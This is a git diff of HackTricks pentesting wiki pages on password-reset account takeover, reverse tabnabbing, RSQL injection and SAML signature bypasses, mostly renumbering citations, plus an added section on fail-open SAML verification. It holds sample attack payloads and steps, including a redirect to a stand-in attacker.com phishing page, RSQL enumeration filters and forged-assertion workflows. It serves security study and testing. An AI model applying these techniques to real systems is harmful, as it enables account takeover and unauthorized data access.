@@ -108,7 +108,7 @@ email[]=victim@mail.tld&email[]=attacker@mail.tld
## **Changing Email And Password of any User through API Parameters**
-- Attackers can modify email and password parameters in API requests to change account credentials.[[13]](#references)
+- Attackers can modify email and password parameters in API requests to change account credentials.[[9]](#references)
```php
POST /api/changepass
@@ -122,7 +122,7 @@ POST /api/changepass
## **No Rate Limiting: Email Bombing**
-- Lack of rate limiting on password reset requests can lead to email bombing, overwhelming the user with reset emails.[[14]](#references)
+- Lack of rate limiting on password reset requests can lead to email bombing, overwhelming the user with reset emails.[[10]](#references)
- **Mitigation Steps**:
- Implement rate limiting based on IP address or user account.
- Use CAPTCHA challenges to prevent automated abuse.
@@ -161,7 +161,7 @@ uuid-insecurities.md
## **Response Manipulation: Replace Bad Response With Good One**
-- Manipulating HTTP responses to bypass error messages or restrictions.[[15]](#references)
+- Manipulating HTTP responses to bypass error messages or restrictions.[[11]](#references)
- **Mitigation Steps**:
- Implement server-side checks to ensure response integrity.
- Use secure communication channels like HTTPS to prevent man-in-the-middle attacks.
@@ -194,7 +194,7 @@ uuid-insecurities.md
## **Try Using Your Token**
-- Testing if an attacker's reset token can be used in conjunction with the victim's email.[[1]](#references)
+- Testing if an attacker's reset token can be used in conjunction with the victim's email.[[12]](#references)
- This usually appears when the application validates the token and the target account independently. Typical vulnerable patterns:
- Step 1 (`/forgot-password`) issues a token tied to the attacker account.
- Step 2 (`/reset-password`) accepts both `token` and `email` / `userId` / `username` from the client.
@@ -209,7 +209,7 @@ uuid-insecurities.md
## **Password Reset Token Disclosure in API Responses**
-- Some APIs return the reset token (`resetToken`, `tempToken`, `recoveryCode`) directly in the forgot-password response or in a secondary polling/debug endpoint.[[5]](#references)
+- Some APIs return the reset token (`resetToken`, `tempToken`, `recoveryCode`) directly in the forgot-password response or in a secondary polling/debug endpoint.[[13]](#references)
- This is usually an immediate ATO: trigger a reset for the victim, capture the token from the API response, then call the final reset endpoint without mailbox access.
- Also inspect GraphQL responses, mobile APIs, websocket notifications, batch endpoints, and verbose error messages for leaked token values or token expiry metadata.
@@ -323,7 +323,7 @@ Content-Type: application/json
## Arbitrary password reset via skipOldPwdCheck (pre-auth)
-Some implementations expose a password change action that calls the password-change routine with skipOldPwdCheck=true and does not verify any reset token or ownership. If the endpoint accepts an action parameter like change_password and a username/new password in the request body, an attacker can reset arbitrary accounts pre-auth.[[2]](#references)
+Some implementations expose a password change action that calls the password-change routine with skipOldPwdCheck=true and does not verify any reset token or ownership. If the endpoint accepts an action parameter like change_password and a username/new password in the request body, an attacker can reset arbitrary accounts pre-auth.[[14]](#references)
Vulnerable pattern (PHP):
@@ -363,7 +363,7 @@ Mitigations:
## Registration-as-Password-Reset (Upsert on Existing Email)
-Some applications implement the signup handler as an upsert. If the email already exists, the handler silently updates the user record instead of rejecting the request. When the registration endpoint accepts a minimal JSON body with an existing email and a new password, it effectively becomes a pre-auth password reset without any ownership verification allowing full account takeover.[[3]](#references)
+Some applications implement the signup handler as an upsert. If the email already exists, the handler silently updates the user record instead of rejecting the request. When the registration endpoint accepts a minimal JSON body with an existing email and a new password, it effectively becomes a pre-auth password reset without any ownership verification allowing full account takeover.[[15]](#references)
Pre-auth ATO PoC (overwriting an existing user's password):
@@ -378,20 +378,20 @@ Content-Type: application/json
## References
-- [1] [10 Password Reset flaws](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
-- [2] [vTenext 25.02 - A three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
-- [3] [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1)
-- [4] [GitLab Critical Security Release: 16.7.2, 16.6.4, 16.5.6](https://docs.gitlab.com/releases/patches/patch-release-gitlab-16-7-2-released/)
-- [5] [Critical: Unauthenticated Password Reset Token Disclosure Leading to Account Takeover in Flowise Cloud and Local Deployments](https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-wgpv-6j63-x5ph)
-- [6] [HackerOne Report 342693](https://hackerone.com/reports/342693)
-- [7] [HackerOne Report 272379](https://hackerone.com/reports/272379)
-- [8] [Password Reset Token Leak Article](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
-- [9] [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
-- [10] [readme.com Account Takeover - Bug Bounty Full Disclosure](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
-- [11] [How I was able to earn $1000 with just 10 minutes of Bug Bounty](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
-- [12] [HusseiN98D - Password reset email parameter injection](https://twitter.com/HusseiN98D/status/1254888748216655872)
-- [13] [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
-- [14] [HackerOne Report 280534](https://hackerone.com/reports/280534)
-- [15] [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
+- [1] [HackerOne Report 342693](https://hackerone.com/reports/342693)
+- [2] [HackerOne Report 272379](https://hackerone.com/reports/272379)
+- [3] [Toyota's Password Reset Token and Email Address Leak via Referer Header](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
+- [4] [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
+- [5] [readme.com Account Takeover Bugbounty Full Disclosure](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
+- [6] [How I Was Able to Earn $1000 with Just 10 Minutes of Bug Bounty](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
+- [7] [@HusseiN98D Twitter thread on password reset email parameter bypass](https://twitter.com/HusseiN98D/status/1254888748216655872)
+- [8] [GitLab Critical Security Release: 16.7.2, 16.6.4, 16.5.6 (CVE-2023-7028)](https://docs.gitlab.com/releases/patches/patch-release-gitlab-16-7-2-released/)
+- [9] [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
+- [10] [HackerOne Report 280534](https://hackerone.com/reports/280534)
+- [11] [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
+- [12] [10 Password Reset Flaws – #10 Try Using Your Token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
+- [13] [Critical: Unauthenticated Password Reset Token Disclosure Leading to Account Takeover in Flowise Cloud and Local Deployments](https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-wgpv-6j63-x5ph)
+- [14] [VTENEXT 25.02 – A Three-Way Path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
+- [15] [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1)
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/reverse-tab-nabbing.md b/src/pentesting-web/reverse-tab-nabbing.md
index 4acf0d7ca10..00c0ff3f305 100644
--- a/src/pentesting-web/reverse-tab-nabbing.md
+++ b/src/pentesting-web/reverse-tab-nabbing.md
@@ -5,7 +5,7 @@
## Description
In a situation where an **attacker** can **control** the **`href`** argument of an **`[[1]](#references)
A regular way to abuse this behaviour would be to **change the location of the original web** via `window.opener.location = https://attacker.com/victim.html` to a web controlled by the attacker that **looks like the original one**, so it can **imitate** the **login** **form** of the original website and ask for credentials to the user.
@@ -62,7 +62,7 @@ Then, **access** `http://127.0.0.1:8000/`vulnerable.html, **click** on the link
### Accessible properties
-In the scenario where a **cross-origin** access occurs (access across different domains), the properties of the **window** JavaScript class instance, referred to by the **opener** JavaScript object reference, that can be accessed by a malicious site are limited to the following:[[1]](#references)
+In the scenario where a **cross-origin** access occurs (access across different domains), the properties of the **window** JavaScript class instance, referred to by the **opener** JavaScript object reference, that can be accessed by a malicious site are limited to the following:
- **`opener.closed`**: This property is accessed to determine if a window has been closed, returning a boolean value.
- **`opener.frames`**: This property provides access to all iframe elements within the current window.
@@ -76,13 +76,11 @@ However, in instances where the domains are identical, the malicious site gains
## Prevention
-Prevention information are documented into the [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#tabnabbing).
+Prevention information are documented into the [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#tabnabbing).[[2]](#references)
## References
-- [1] [OWASP - Reverse Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing)
+- [1] [OWASP – Reverse Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing)
+- [2] [OWASP Cheat Sheet Series – HTML5 Security Cheat Sheet (Tabnabbing prevention)](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#tabnabbing)
{{#include ../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/pentesting-web/rsql-injection.md b/src/pentesting-web/rsql-injection.md
index 490d677b7b9..8755920ce9d 100644
--- a/src/pentesting-web/rsql-injection.md
+++ b/src/pentesting-web/rsql-injection.md
@@ -6,7 +6,7 @@
RSQL is a query language designed for parameterized filtering of inputs in RESTful APIs. Based on FIQL (Feed Item Query Language), originally specified by Mark Nottingham for querying Atom feeds, RSQL stands out for its simplicity and ability to express complex queries in a compact and URI-compliant way over HTTP. This makes it an excellent choice as a general query language for REST endpoint searching.[[1]](#references)
## Overview
-RSQL Injection is a vulnerability in web applications that use RSQL as a query language in RESTful APIs. Similar to [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) and [LDAP Injection](https://owasp.org/www-community/attacks/LDAP_Injection), this vulnerability occurs when RSQL filters are not properly sanitized, allowing an attacker to inject malicious queries to access, modify or delete data without authorization.[[1]](#references)
+RSQL Injection is a vulnerability in web applications that use RSQL as a query language in RESTful APIs. Similar to [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) and [LDAP Injection](https://owasp.org/www-community/attacks/LDAP_Injection), this vulnerability occurs when RSQL filters are not properly sanitized, allowing an attacker to inject malicious queries to access, modify or delete data without authorization.
## How does it work?
RSQL allows you to build advanced queries in RESTful APIs, for example:
@@ -23,7 +23,7 @@ If the application does not correctly validate user input, an attacker could man
Or even take advantage to extract sensitive information with Boolean queries or nested subqueries.
## Risks
-- **Exposure of sensitive data:** An attacker can retrieve information that should not be accessible.
+- **Exposure of sensitive data:** An attacker can retrieve information that should not be accessible.[[1]](#references)
- **Data modification or deletion:** Injection of filters that alter database records.
- **Privilege escalation:** Manipulation of identifiers that grant roles through filters to trick the application by accessing with privileges of other users.
- **Evasion of access controls:** Manipulation of filters to access restricted data.
@@ -47,7 +47,7 @@ Or even take advantage to extract sensitive information with Boolean queries or
| `>=` & `=ge=` | Performs a **equal** to or **greater than** query. Returns all rows from *myTable* where values in *columnA* are equal to or greater than *queryValue* | `/api/v2/myTable?q=columnA>=queryValue` `/api/v2/myTable?q=columnA=ge=queryValue` |
| `=rng=` | Performs a **from to** query. Returns all rows from *myTable* where values in *columnA* are equal or greater than the *fromValue*, and lesser than or equal to the *toValue* | `/api/v2/myTable?q=columnA=rng=(fromValue,toValue)` |
-**Note**: Table based on information from [**MOLGENIS**](https://molgenis.gitbooks.io/molgenis/content/) and [**rsql-parser**](https://github.com/jirutka/rsql-parser) applications.[[3]](#references)
+**Note**: Table based on information from [**MOLGENIS**](https://molgenis.gitbooks.io/molgenis/content/) and [**rsql-parser**](https://github.com/jirutka/rsql-parser) applications.[[2]](#references)[[3]](#references)
#### Examples
- name=="Kill Bill";year=gt=2003
@@ -86,7 +86,7 @@ These parameters help optimize API responses:
| `search` | Performs a more flexible search | `/api/v2/posts?search=technology` |
## Information leakage and enumeration of users
-The following request shows a registration endpoint that requires the email parameter to check if there is any user registered with that email and return a true or false depending on whether or not it exists in the database:[[2]](#references)
+The following request shows a registration endpoint that requires the email parameter to check if there is any user registered with that email and return a true or false depending on whether or not it exists in the database:[[4]](#references)
### Request
```
GET /api/registrations HTTP/1.1
@@ -208,7 +208,7 @@ Access-Control-Allow-Origin: *
}
```
## Authorization evasion
-In this scenario, we start from a user with a basic role and in which we do not have privileged permissions (e.g. administrator) to access the list of all users registered in the database:[[2]](#references)
+In this scenario, we start from a user with a basic role and in which we do not have privileged permissions (e.g. administrator) to access the list of all users registered in the database:[[4]](#references)
### Request
```
GET /api/users HTTP/1.1
@@ -315,7 +315,7 @@ Access-Control-Allow-Origin: *
```
## Privilege Escalation
-It is very likely to find certain endpoints that check user privileges through their role. For example, we are dealing with a user who has no privileges:[[2]](#references)
+It is very likely to find certain endpoints that check user privileges through their role. For example, we are dealing with a user who has no privileges:[[4]](#references)
### Request
```
GET /api/companyUsers?include=role HTTP/1.1
@@ -469,7 +469,7 @@ Access-Control-Allow-Origin: *
## Impersonate or Insecure Direct Object References (IDOR)
-In addition to the use of the `filter` parameter, it is possible to use other parameters such as `include` which allows to include in the result certain parameters (e.g. language, country, password...).[[2]](#references)
+In addition to the use of the `filter` parameter, it is possible to use other parameters such as `include` which allows to include in the result certain parameters (e.g. language, country, password...).[[4]](#references)
In the following example, the information of our user profile is shown:
### Request
@@ -585,23 +585,23 @@ Access-Control-Allow-Origin: *
## Detection & fuzzing quickwins
- Check for RSQL support by sending harmless probes like `?filter=id==test`, `?q==test` or malformed operators `=foo=`; verbose APIs often leak parser errors ("Unknown operator" / "Unknown property").
- `rsql-parser`-style grammars reserve `" ' ( ) ; , = ! ~ < >`; if a selector/value containing one of those characters only works once quoted (for example `name=='a,b'`), you have a useful fingerprint and a hint that input validation is happening on only part of the expression.
-- Don't stop at `filter[users]`: Elide-style JSON:API backends may accept both type-specific filters such as `filter[user]=role==admin` and a global `filter=authors.name=='Null Ned';title=='Life with Null Ned'` that traverses relationships.
-- Probe operator support to fingerprint the translator layer, not just the parser: `==*foo*`, `=ini=*foo*`, `=isnull=true`, `=isempty=true`, `=between=(1,10)` or `=hasmember=` usually reveal Elide/custom JPA translators with a much larger attack surface. In Elide 5+ the default FIQL behavior is case-sensitive, so comparing `name==admin` with `name=ini=*ADMIN*` is also a useful fingerprint.
-- Pull `/doc`, `/swagger` or the OpenAPI document when present. Elide documents filter parameters for each primitive attribute plus `include`, `sort` and pagination support, which is an easy way to recover valid selectors without brute-forcing field names.
+- Don't stop at `filter[users]`: Elide-style JSON:API backends may accept both type-specific filters such as `filter[user]=role==admin` and a global `filter=authors.name=='Null Ned';title=='Life with Null Ned'` that traverses relationships.[[5]](#references)
+- Probe operator support to fingerprint the translator layer, not just the parser: `==*foo*`, `=ini=*foo*`, `=isnull=true`, `=isempty=true`, `=between=(1,10)` or `=hasmember=` usually reveal Elide/custom JPA translators with a much larger attack surface. In Elide 5+ the default FIQL behavior is case-sensitive, so comparing `name==admin` with `name=ini=*ADMIN*` is also a useful fingerprint.[[5]](#references)
+- Pull `/doc`, `/swagger` or the OpenAPI document when present. Elide documents filter parameters for each primitive attribute plus `include`, `sort` and pagination support, which is an easy way to recover valid selectors without brute-forcing field names.[[5]](#references)
- Many implementations double-parse URL parameters; try double-encoding `(`, `)`, `*`, `;` (e.g., `%2528admin%2529`) to bypass naive blocklists and WAFs.
- Boolean exfil with wildcards: `filter[users]=email==*%@example.com;status==ACTIVE` and flip logic with `,` (OR) to compare response sizes.
- Range/proximity leaks: `filter[users]=createdAt=rng=(2024-01-01,2025-01-01)` quickly enumerates by year without knowing exact IDs.
## Framework-specific abuse (Elide / JPA Specification / JSON:API)
- `rsql-parser` only parses the grammar and explicitly supports custom operators. If you see non-standard operators such as `=like=`, `=ilike=`, `=all=` or `=notAssigned=`, focus your review on the translation layer because that is where unsafe string concatenation usually appears.[[3]](#references)
-- Elide JSON:API supports both type-specific `filter[TYPE]` parameters and a single global `filter`, and selectors can traverse related models with dotted paths such as `author.books.price.total`. Test the same predicate on root collections and related collections because authorization bugs often exist on only one path.[[4]](#references)
-- `rsql-jpa-specification` supports public-to-internal property remapping (for example `compCode` -> `company.code`, `compId` -> `company.id`). If the UI or docs expose friendly aliases, fuzz both the alias and the canonical dotted path to discover hidden joins or allow-list gaps.
-- The same library documents direct SQL `LIKE` translation plus configurable escape characters. If the target exposes `=like=`-style operators, test `%`, `_` and the escape character because custom predicates often forget to escape wildcards consistently across MySQL/PostgreSQL/SQL Server.
-- Newer `rsql-jpa-specification` releases also support PostgreSQL `jsonb` traversal (`data.user.id==1`, `data.roles.id==1`) and optional stored-procedure syntax such as `@upper[code]==HELLO` when procedures are whitelisted. If an API exposes either feature, you can often pivot from a simple field filter into nested JSON documents or function-backed selectors that were never meant to be attacker reachable.
-- Elide analytic queries added field arguments/parameterized columns to the RSQL grammar; this was the precondition behind CVE-2022-24827, where a `TEXT` parameter containing `--` could strip the generated authorization `WHERE` clause. On analytics endpoints, always test whether filter operands or field arguments are copied into SQL fragments before server-side auth filters are applied.[[4]](#references)
+- Elide JSON:API supports both type-specific `filter[TYPE]` parameters and a single global `filter`, and selectors can traverse related models with dotted paths such as `author.books.price.total`. Test the same predicate on root collections and related collections because authorization bugs often exist on only one path.[[5]](#references)
+- `rsql-jpa-specification` supports public-to-internal property remapping (for example `compCode` -> `company.code`, `compId` -> `company.id`). If the UI or docs expose friendly aliases, fuzz both the alias and the canonical dotted path to discover hidden joins or allow-list gaps.[[6]](#references)
+- The same library documents direct SQL `LIKE` translation plus configurable escape characters. If the target exposes `=like=`-style operators, test `%`, `_` and the escape character because custom predicates often forget to escape wildcards consistently across MySQL/PostgreSQL/SQL Server.[[6]](#references)
+- Newer `rsql-jpa-specification` releases also support PostgreSQL `jsonb` traversal (`data.user.id==1`, `data.roles.id==1`) and optional stored-procedure syntax such as `@upper[code]==HELLO` when procedures are whitelisted. If an API exposes either feature, you can often pivot from a simple field filter into nested JSON documents or function-backed selectors that were never meant to be attacker reachable.[[6]](#references)
+- Elide analytic queries added field arguments/parameterized columns to the RSQL grammar; this was the precondition behind CVE-2022-24827, where a `TEXT` parameter containing `--` could strip the generated authorization `WHERE` clause. On analytics endpoints, always test whether filter operands or field arguments are copied into SQL fragments before server-side auth filters are applied.[[7]](#references)
## Automation helpers
-- **rsql-parser CLI (Java)**: `java -jar rsql-parser.jar "name=='*admin*';status==ACTIVE"` validates payloads locally and shows the abstract syntax tree—useful to craft balanced parentheses and custom operators.[[3]](#references)
+- **rsql-parser CLI (Java)**: `java -jar rsql-parser.jar "name=='*admin*';status==ACTIVE"` validates payloads locally and shows the abstract syntax tree—useful to craft balanced parentheses and custom operators.
- **Python quick builder**:
```python
from pyrsql import RSQL
@@ -612,8 +612,11 @@ print(str(payload))
## References
- [1] [RSQL Injection](https://owasp.org/www-community/attacks/RSQL_Injection)
-- [2] [RSQL Injection Exploitation](https://m3n0sd0n4ld.github.io/patoHackventuras/rsql_injection_exploitation)
+- [2] [MOLGENIS documentation](https://molgenis.gitbooks.io/molgenis/content/)
- [3] [rsql-parser](https://github.com/jirutka/rsql-parser)
-- [4] [Elide JSON:API filtering](https://elide.io/pages/guide/v7/10-jsonapi.html)
+- [4] [RSQL Injection Exploitation](https://m3n0sd0n4ld.github.io/patoHackventuras/rsql_injection_exploitation)
+- [5] [Elide JSON:API filtering](https://elide.io/pages/guide/v7/10-jsonapi.html)
+- [6] [rsql-jpa-specification](https://github.com/perplexhub/rsql-jpa-specification)
+- [7] [Elide SQL Injection Security Advisory (CVE-2022-24827) - GHSA-8xpj-9j9g-fc9r](https://github.com/yahoo/elide/security/advisories/GHSA-8xpj-9j9g-fc9r)
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/saml-attacks/README.md b/src/pentesting-web/saml-attacks/README.md
index ddefd559a46..d7cde92ccad 100644
--- a/src/pentesting-web/saml-attacks/README.md
+++ b/src/pentesting-web/saml-attacks/README.md
@@ -15,7 +15,7 @@ saml-basics.md
## XML round-trip
-In XML the signed part of the XML is saved in memory, then some encoding/decoding is performed and the signature is checked. Ideally that encoding/decoding shouldn't change the data but based in that scenario, **the data being checked and the original data could not be the same**.[[11]](#references)[[12]](#references)
+In XML the signed part of the XML is saved in memory, then some encoding/decoding is performed and the signature is checked. Ideally that encoding/decoding shouldn't change the data but based in that scenario, **the data being checked and the original data could not be the same**.
For example, check the following code:
@@ -43,22 +43,22 @@ First child after round-trip: Z
This is how REXML saw the original XML document from the program above:
-.png>)
+.png>)[[1]](#references)
And this is how it saw it after a round of parsing and serialization:
-.png>)
+.png>)[[1]](#references)
-For more information about the vulnerability and how to abuse it:
+For more information about the vulnerability and how to abuse it:[[1]](#references)[[2]](#references)
-- [https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://mattermost.com/blog/securing-xml-implementations-across-the-web/)
-- [https://joonas.fi/2021/08/saml-is-insecure-by-design/](https://joonas.fi/2021/08/saml-is-insecure-by-design/)
+- [https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://mattermost.com/blog/securing-xml-implementations-across-the-web/)[[1]](#references)
+- [https://joonas.fi/2021/08/saml-is-insecure-by-design/](https://joonas.fi/2021/08/saml-is-insecure-by-design/)[[2]](#references)
## XML Signature Wrapping Attacks
In **XML Signature Wrapping attacks (XSW)**, adversaries exploit a vulnerability arising when XML documents are processed through two distinct phases: **signature validation** and **function invocation**. These attacks involve altering the XML document structure. Specifically, the attacker **injects forged elements** that do not compromise the XML Signature's validity. This manipulation aims to create a discrepancy between the elements analyzed by the **application logic** and those checked by the **signature verification module**. As a result, while the XML Signature remains technically valid and passes verification, the application logic processes the **fraudulent elements**. Consequently, the attacker effectively bypasses the XML Signature's **integrity protection** and **origin authentication**, enabling the **injection of arbitrary content** without detection.
-The following attacks ara based on [**this blog post**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **and** [**this paper**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf). So check those for further details.[[4]](#references)[[13]](#references)
+The following attacks ara based on [**this blog post**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **and** [**this paper**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf). So check those for further details.[[3]](#references)[[4]](#references)
### XSW #1
@@ -122,13 +122,13 @@ You can use the Burp extension [**SAML Raider**](https://portswigger.net/bappsto
## Ruby-SAML signature verification bypass (CVE-2024-45409)
-**Impact**: If the Service Provider uses vulnerable Ruby-SAML (ex. GitLab SAML SSO), an attacker who can obtain **any IdP-signed SAMLResponse** can **forge a new assertion** and authenticate as arbitrary users.[[9]](#references)[[10]](#references)
+**Impact**: If the Service Provider uses vulnerable Ruby-SAML (ex. GitLab SAML SSO), an attacker who can obtain **any IdP-signed SAMLResponse** can **forge a new assertion** and authenticate as arbitrary users.[[5]](#references)
-**High-level workflow** (signature-wrapping style bypass):
+**High-level workflow** (signature-wrapping style bypass):[[6]](#references)
1. Capture a **legitimate SAMLResponse** in the SSO POST (Burp or browser devtools). You only need any IdP-signed response for the target SP.
2. Decode the transport encoding to raw XML (typical order): **URL decode → Base64 decode → raw inflate**.
-3. Use a PoC (for example, the Synacktiv script) to **patch IDs/NameID/conditions** and **rewrite signature references/digests** so validation still passes while the SP consumes attacker-controlled assertion fields.
+3. Use a PoC (for example, the Synacktiv script) to **patch IDs/NameID/conditions** and **rewrite signature references/digests** so validation still passes while the SP consumes attacker-controlled assertion fields.[[7]](#references)
4. Re-encode the patched XML (**raw deflate → Base64 → URL encode**) and replay it to the SAML callback endpoint. If successful, the SP logs you in as the chosen user.
Example using the Synacktiv PoC (input is the captured SAMLResponse blob):
@@ -170,7 +170,7 @@ SAML Responses are **deflated and base64 encoded XML documents** and can be susc
You can also use the Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) to generate the POC from a SAML request to test for possible XXE vulnerabilities and SAML vulnerabilities.
-Check also this talk: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
+Check also this talk: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)[[15]](#references)
## XSLT via SAML
@@ -181,7 +181,7 @@ For more information about XSLT go to:
../xslt-server-side-injection-extensible-stylesheet-language-transformations.md
{{#endref}}
-Extensible Stylesheet Language Transformations (XSLT) can be used for transforming XML documents into various formats like HTML, JSON, or PDF. It's crucial to note that **XSLT transformations are performed before the verification of the digital signature**. This means that an attack can be successful even without a valid signature; a self-signed or invalid signature is sufficient to proceed.[[5]](#references)
+Extensible Stylesheet Language Transformations (XSLT) can be used for transforming XML documents into various formats like HTML, JSON, or PDF. It's crucial to note that **XSLT transformations are performed before the verification of the digital signature**. This means that an attack can be successful even without a valid signature; a self-signed or invalid signature is sufficient to proceed.
Here you can find a **POC** to check for this kind of vulnerabilities, in the hacktricks page mentioned at the beginning of this section you can find for payloads.
@@ -213,7 +213,7 @@ Check also this talk: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.
## XML Signature Exclusion
-The **XML Signature Exclusion** observes the behavior of SAML implementations when the Signature element is not present. If this element is missing, **signature validation may not occur**, making it vulnerable. It's possibel to test this by altering the contents that are usually verified by the signature.[[5]](#references)
+The **XML Signature Exclusion** observes the behavior of SAML implementations when the Signature element is not present. If this element is missing, **signature validation may not occur**, making it vulnerable. It's possibel to test this by altering the contents that are usually verified by the signature.[[8]](#references)
.png>)
@@ -223,11 +223,35 @@ You can also use the Burp extension [**SAML Raider**](https://portswigger.net/ba
With the signatures removed, allow the request to proceed to the target. If the Signature isn’t required by the Service
+## Fail-open SAML verification in unconfigured SSO handlers
+
+Some products keep the **SAML authentication endpoint reachable even when SSO was never configured**. If a constructor or config-loading error leaves security fields at language defaults such as `""` or `false`, the unconfigured path can become **less secure** than the configured one.[[13]](#references)
+
+### What to test
+
+- Reach the SAML ACS / login handler while SSO is **disabled**, **never configured**, or after deleting its config. The handler should fail closed before parsing attacker-controlled XML.
+- Check whether missing configuration skips initialization of fields such as the **signature verification mode**, **trusted issuer**, **audience**, **certificate path**, or **local-user policy**, while request processing still continues.
+- Look for **fail-open mode checks** such as `if mode in {response, assertion, both} verify_signature(...)` with **no rejecting `else`**. An empty / malformed mode can silently disable both response- and assertion-signature verification.
+- Compare **presence checks** with **normalized comparisons**. A whitespace-only `` can satisfy `issuer != null`, then be trimmed to `""` and match an empty configured issuer.
+- If time validation only runs when `` exists, try **omitting `Conditions` entirely** instead of forging timestamps.
+
+### Exploitation notes
+
+Once verification is bypassed, a **schema-valid but unsigned** `SAMLResponse` containing `Status=Success`, at least one `Assertion`, and an attacker-chosen `NameID` may be enough to authenticate as an arbitrary existing federated user.[[13]](#references)
+
+Practical details to check:
+
+- Some implementations accept the **first assertion** that passes local checks and ignore the rest.
+- If local usernames are blocked but values containing `\` or `@` are allowed, target an existing **directory identity** such as `DOMAIN\Administrator` or `user@domain`.
+- The forged value still needs to survive **account-resolution / canonical-name** checks performed after SAML parsing.
+
+A recent example of this pattern is the Synology DS925+ SAML SSO bypass documented by Chanze Lee.
+
## Certificate Faking
## Certificate Faking
-Certificate Faking is a technique to test if a **Service Provider (SP) properly verifies that a SAML Message is signed** by a trusted Identity Provider (IdP). It involves using a \***self-signed certificate** to sign the SAML Response or Assertion, which helps in evaluating the trust validation process between SP and IdP.[[5]](#references)
+Certificate Faking is a technique to test if a **Service Provider (SP) properly verifies that a SAML Message is signed** by a trusted Identity Provider (IdP). It involves using a \***self-signed certificate** to sign the SAML Response or Assertion, which helps in evaluating the trust validation process between SP and IdP.[[8]](#references)
### How to Conduct Certificate Faking
@@ -243,7 +267,7 @@ The following steps outline the process using the [SAML Raider](https://portswig
## Token Recipient Confusion / Service Provider Target Confusion
-Token Recipient Confusion and Service Provider Target Confusion involve checking whether the **Service Provider correctly validates the intended recipient of a response**. In essence, a Service Provider should reject an authentication response if it was meant for a different provider. The critical element here is the **Recipient** field, found within the **SubjectConfirmationData** element of a SAML Response. This field specifies a URL indicating where the Assertion must be sent. If the actual recipient does not match the intended Service Provider, the Assertion should be deemed invalid.[[5]](#references)
+Token Recipient Confusion and Service Provider Target Confusion involve checking whether the **Service Provider correctly validates the intended recipient of a response**. In essence, a Service Provider should reject an authentication response if it was meant for a different provider. The critical element here is the **Recipient** field, found within the **SubjectConfirmationData** element of a SAML Response. This field specifies a URL indicating where the Assertion must be sent. If the actual recipient does not match the intended Service Provider, the Assertion should be deemed invalid.[[8]](#references)
#### **How It Works**
@@ -274,7 +298,7 @@ def intercept_and_redirect_saml_response(saml_response, sp_target_url):
## XSS in Logout functionality
-The original research can be accessed through [this link](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/).[[6]](#references)
+The original research can be accessed through [this link](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/).[[9]](#references)
During the process of directory brute forcing, a logout page was discovered at:
@@ -292,7 +316,7 @@ This revealed that the `base` parameter accepts a URL. Considering this, the ide
### Mass Exploitation
-[From this research](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/):
